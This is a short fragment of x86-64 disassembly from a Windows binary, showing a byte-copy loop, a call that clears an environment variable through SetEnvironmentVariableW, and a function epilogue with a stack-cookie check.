mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140073fd3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.1400918f8
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140073fa0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140082dd0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140086e58
int3